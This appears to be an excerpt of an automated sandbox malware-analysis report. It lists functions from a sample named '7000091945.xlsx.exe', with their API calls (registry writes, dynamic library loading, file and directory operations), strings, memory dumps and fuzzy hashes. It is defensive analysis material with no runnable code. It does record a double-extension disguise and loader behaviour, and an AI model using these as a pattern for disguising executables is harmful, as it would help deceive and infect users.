Function 6FF41777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6FF41B5F: GlobalFree.KERNEL32(?), ref: 6FF41DD4
Part of subcall function 6FF41B5F: GlobalFree.KERNEL32(?), ref: 6FF41DD9
Part of subcall function 6FF41B5F: GlobalFree.KERNEL32(?), ref: 6FF41DDE

GlobalFree.KERNEL32(00000000), ref: 6FF41825
FreeLibrary.KERNEL32(?), ref: 6FF418AB
GlobalFree.KERNEL32(00000000), ref: 6FF418D0

Part of subcall function 6FF4239E: GlobalAlloc.KERNEL32(00000040,?), ref: 6FF423CF

Part of subcall function 6FF42770: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6FF417F6,00000000), ref: 6FF42840

Part of subcall function 6FF415C6: wsprintfW.USER32 ref: 6FF415F4

Strings

, xrefs: 6FF418B1

Memory Dump Source

Source File: 00000000.00000002.1701491711.000000006FF41000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FF40000, based on PE: true

Associated: 00000000.00000002.1701178941.000000006FF40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701514558.000000006FF44000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1701541721.000000006FF46000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ff40000_7000091945.jbxd

Similarity

API ID: Global$Free$Alloc$Librarywsprintf
String ID:
API String ID: 3962662361-3916222277
Opcode ID: 3a947f3756ace00ce0007f1c81de9565843bbd0aa4b2c24e24a93780ace049b0
Instruction ID: bc47a2fb7062d31cac1f250132148f8e060b6445734eb0557aa3f620a042c6ed
Opcode Fuzzy Hash: 3a947f3756ace00ce0007f1c81de9565843bbd0aa4b2c24e24a93780ace049b0
Instruction Fuzzy Hash: C741E6714003059ADF12AF78D884BD63FA8BF05324F044176ED25EE2D7DB78A1A8C764

Function 00402482 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsf7C24.tmp,00000023,00000011,00000002), ref: 004024CD
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsf7C24.tmp,00000000,00000011,00000002), ref: 0040250D
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsf7C24.tmp,00000000,00000011,00000002), ref: 004025F5

Strings

C:\Users\user\AppData\Local\Temp\nsf7C24.tmp, xrefs: 004024BE, 004024CC, 004024E3, 004024F7, 00402502

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsf7C24.tmp
API String ID: 2655323295-1971855394
Opcode ID: 9e720649662cdc413bd8d4d136e207e08986e5d50d4fc5c41021c63d7149cc75
Instruction ID: 7edbd774ff12736b5c68cca40ff53a8b2e2340a941a441eef078c8e93cf21856
Opcode Fuzzy Hash: 9e720649662cdc413bd8d4d136e207e08986e5d50d4fc5c41021c63d7149cc75
Instruction Fuzzy Hash: 1C11AF71E00108BEDB00AFA5CE49AAEBBB8EF44314F20443AF504B71D1D7B89D409A68

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D91: CharNextW.USER32(?,?,0042FA70,?,00405E05,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405B43,?,75573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405D9F
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DA4
Part of subcall function 00405D91: CharNextW.USER32(00000000), ref: 00405DBC

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 00405948: CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 0040598B

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\udstrmningsdysernes\eir\Speckly\Watched
API String ID: 1892508949-4031951691
Opcode ID: 8bd5528b3ed13611c2729177aa216aa5dfd0a4f92ec19a6671f3c1d709377d7f
Instruction ID: d42e9ae115e382ed64a017e661d14a8570f8e1ce7a364987760287960e16c3b9
Opcode Fuzzy Hash: 8bd5528b3ed13611c2729177aa216aa5dfd0a4f92ec19a6671f3c1d709377d7f
Instruction Fuzzy Hash: B411DD31504110EBCF206FA5CD4199F3BB0EF25369B28493BEA51B22F1DA3E49819A5E

Function 004053ED Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040541C
CallWindowProcW.USER32(?,?,?,?), ref: 0040546D

Part of subcall function 004043B3: SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 004043C5

Strings

, xrefs: 004053FD

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 26e100c8e936244900aacf90f380f9ed614629df6b7f9272593e4765ff02ca63
Instruction ID: 5278ea034fccd8c5818adddfb220a11f4cbf18c481ac084eeec191c980f5e464
Opcode Fuzzy Hash: 26e100c8e936244900aacf90f380f9ed614629df6b7f9272593e4765ff02ca63
Instruction Fuzzy Hash: F9012C71200609AFDF216F11DD80BDB3B66EB84756F504036FB01752E2C77A8C92DA6E

Function 004062DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,00000000,?,00000800,00000002,0042C248,00000000,?,?,Call,?,?,0040656E,80000002), ref: 00406325
RegCloseKey.KERNELBASE(?,?,0040656E,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,0042C248), ref: 00406330

Strings

Call, xrefs: 004062E6

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction ID: 844154995e22508991f9c2085a3ddc533437a0a8a5a4e2329c4a16b7f523fd8f
Opcode Fuzzy Hash: 5e421e957683aa7155fe1e1f393967b6404614e05e15b89e99e168e2dc4a01c3
Instruction Fuzzy Hash: CF017172500209EBDF218F55CD05EDB3BA9EB54394F05803AFD5592150E738D964DBA4

Function 004020D0 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,000000F0), ref: 004020FB

Part of subcall function 00405479: lstrlenW.KERNEL32(0042C248,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000,?), ref: 004054B1
Part of subcall function 00405479: lstrlenW.KERNEL32(004033B0,0042C248,00000000,00425A20,755723A0,?,?,?,?,?,?,?,?,?,004033B0,00000000), ref: 004054C1
Part of subcall function 00405479: lstrcatW.KERNEL32(0042C248,004033B0,004033B0,0042C248,00000000,00425A20,755723A0), ref: 004054D4
Part of subcall function 00405479: SetWindowTextW.USER32(0042C248,0042C248), ref: 004054E6
Part of subcall function 00405479: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040550C
Part of subcall function 00405479: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405526
Part of subcall function 00405479: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405534

LoadLibraryExW.KERNEL32(00000000,?,00000008,?,000000F0), ref: 0040210C
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,?,000000F0), ref: 00402189

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 78ecc952e10d997ac4934020b2af859247c5bfa8e95875e99b3b14e24fd3f8e7
Instruction ID: ec066b6349dd7fa10fed5d852794e64c7c96c86c32cb5d354c2886168094fa20
Opcode Fuzzy Hash: 78ecc952e10d997ac4934020b2af859247c5bfa8e95875e99b3b14e24fd3f8e7
Instruction Fuzzy Hash: A7219931500104EBCF10AFA5CE49A9E7A71AF44354F34413BF515B51E0CBBD9D829A1D

Function 00402596 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004025C9
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 004025DC
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsf7C24.tmp,00000000,00000011,00000002), ref: 004025F5

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: bfb43a58064f35a202510d154baaddbf2c883fb0f83fa026dbde7361418dddc5
Instruction ID: a8e4f27cd85b524b938bc80bb312ff0c07efa3365ef466736b2b8963d993c2c8
Opcode Fuzzy Hash: bfb43a58064f35a202510d154baaddbf2c883fb0f83fa026dbde7361418dddc5
Instruction Fuzzy Hash: 92017C71A11504BBEB149FA49E48AAFB77CEF40348F10403AF501B61C0D7B85E40866D

Function 00402522 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,?,00000033), ref: 00402553
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsf7C24.tmp,00000000,00000011,00000002), ref: 004025F5

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: dee3066ffd72378a80549679b72257bdff4fdc3bc5ced5e2bc25f81f6ea14ea6
Instruction ID: af493c066ab36ea8406690c3d62a07c4fb2ed7115def6bf4d18b774961f6c260
Opcode Fuzzy Hash: dee3066ffd72378a80549679b72257bdff4fdc3bc5ced5e2bc25f81f6ea14ea6
Instruction Fuzzy Hash: CD116A71910209EBCF14DFA4CA589AEB774FF04354B20843BE402B62C0D3B88A44DB5E

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c5196716ed2294a5b6683282f685902d4e4d655c798d26bf32279206d375a943
Instruction ID: f4b073df4371d13d5e47470e1508f1e4354d1df05d26164fcbedf483487d3525
Opcode Fuzzy Hash: c5196716ed2294a5b6683282f685902d4e4d655c798d26bf32279206d375a943
Instruction Fuzzy Hash: 4D01F4316242209FE7094B389D05B6A3698E710319F14823FF855F65F1EA78DC029B4C

Function 0040242C Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040244E
RegCloseKey.ADVAPI32(00000000), ref: 00402457

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
Opcode ID: 617476a9b03e2e3b578eb78f908950f70b0d6d950c3ab7fb2a5afb69e4064c5d
Instruction ID: 85a5e790261a6a1b6dedd729f081e1fb82c2b0bf937f90b5091167455713ef2b
Opcode Fuzzy Hash: 617476a9b03e2e3b578eb78f908950f70b0d6d950c3ab7fb2a5afb69e4064c5d
Instruction Fuzzy Hash: 5AF06232A00120ABDB10AFA89A4DAAE73A5AF44314F16043FE651B71C1DAFC5D01563D

Function 00401EDE Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000000), ref: 00401EFC
EnableWindow.USER32(00000000,00000000), ref: 00401F07

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: ba2a3c5e5c5e776cdf5630d67b2c53ff1ecd8db0fb1778bda333e84ab02891b0
Instruction ID: 5d2b838fc97348560faaf82546316e7c29db3ee13ca796b15ebd5141c346d58e
Opcode Fuzzy Hash: ba2a3c5e5c5e776cdf5630d67b2c53ff1ecd8db0fb1778bda333e84ab02891b0
Instruction Fuzzy Hash: 6FE09A32A042009FD704EFA4AE484AEB3B4EB90325B20097FE401F20C1CBB85C008A2D

Function 00406806 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403537,0000000B), ref: 00406818
GetProcAddress.KERNEL32(00000000,?), ref: 00406833

Part of subcall function 00406796: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004067AD
Part of subcall function 00406796: wsprintfW.USER32 ref: 004067E8
Part of subcall function 00406796: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067FC

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 04b739db586b670126c7119b566f03dd1efc4ec82adb23a6bbf3e60323b3d7ce
Instruction ID: c5f632ab0fd527bf8e68b4786b10832766149758e6d8e51d9ba55f9b7eb13659
Opcode Fuzzy Hash: 04b739db586b670126c7119b566f03dd1efc4ec82adb23a6bbf3e60323b3d7ce
Instruction Fuzzy Hash: 30E0863350421056E211AA746E44C7B77A89F99750307843EF956F2080D738DC359679

Function 00405F07 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00403055,C:\Users\user\Desktop\7000091945.xlsx.exe,80000000,00000003,?,00000007,00000009,0000000B), ref: 00405F0B
CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000,?,00000007,00000009,0000000B), ref: 00405F2D

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000438000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667293297.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667398975.000000000047F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7000091945.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction ID: 1030bc0f2bf25390ef9c6131bda9d6cfedcac9e68b753c15eded60bf4a570351
Opcode Fuzzy Hash: 080dfadfdaad2818d5b04c51cfada36c475993ea7ffea5996e238fb5a0e3a6c4
Instruction Fuzzy Hash: 5ED09E31254201AFEF098F20DE16F2E7BA2EB94B04F11552CB786941E0DAB15C199B15

Function 00405EE2 Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00405AE7,?,?,00000000,00405CBD,?,?,?,?), ref: 00405EE7
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405EFB

Memory Dump Source

Source File: 00000000.00000002.1667248867.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1667235648.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667264780.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
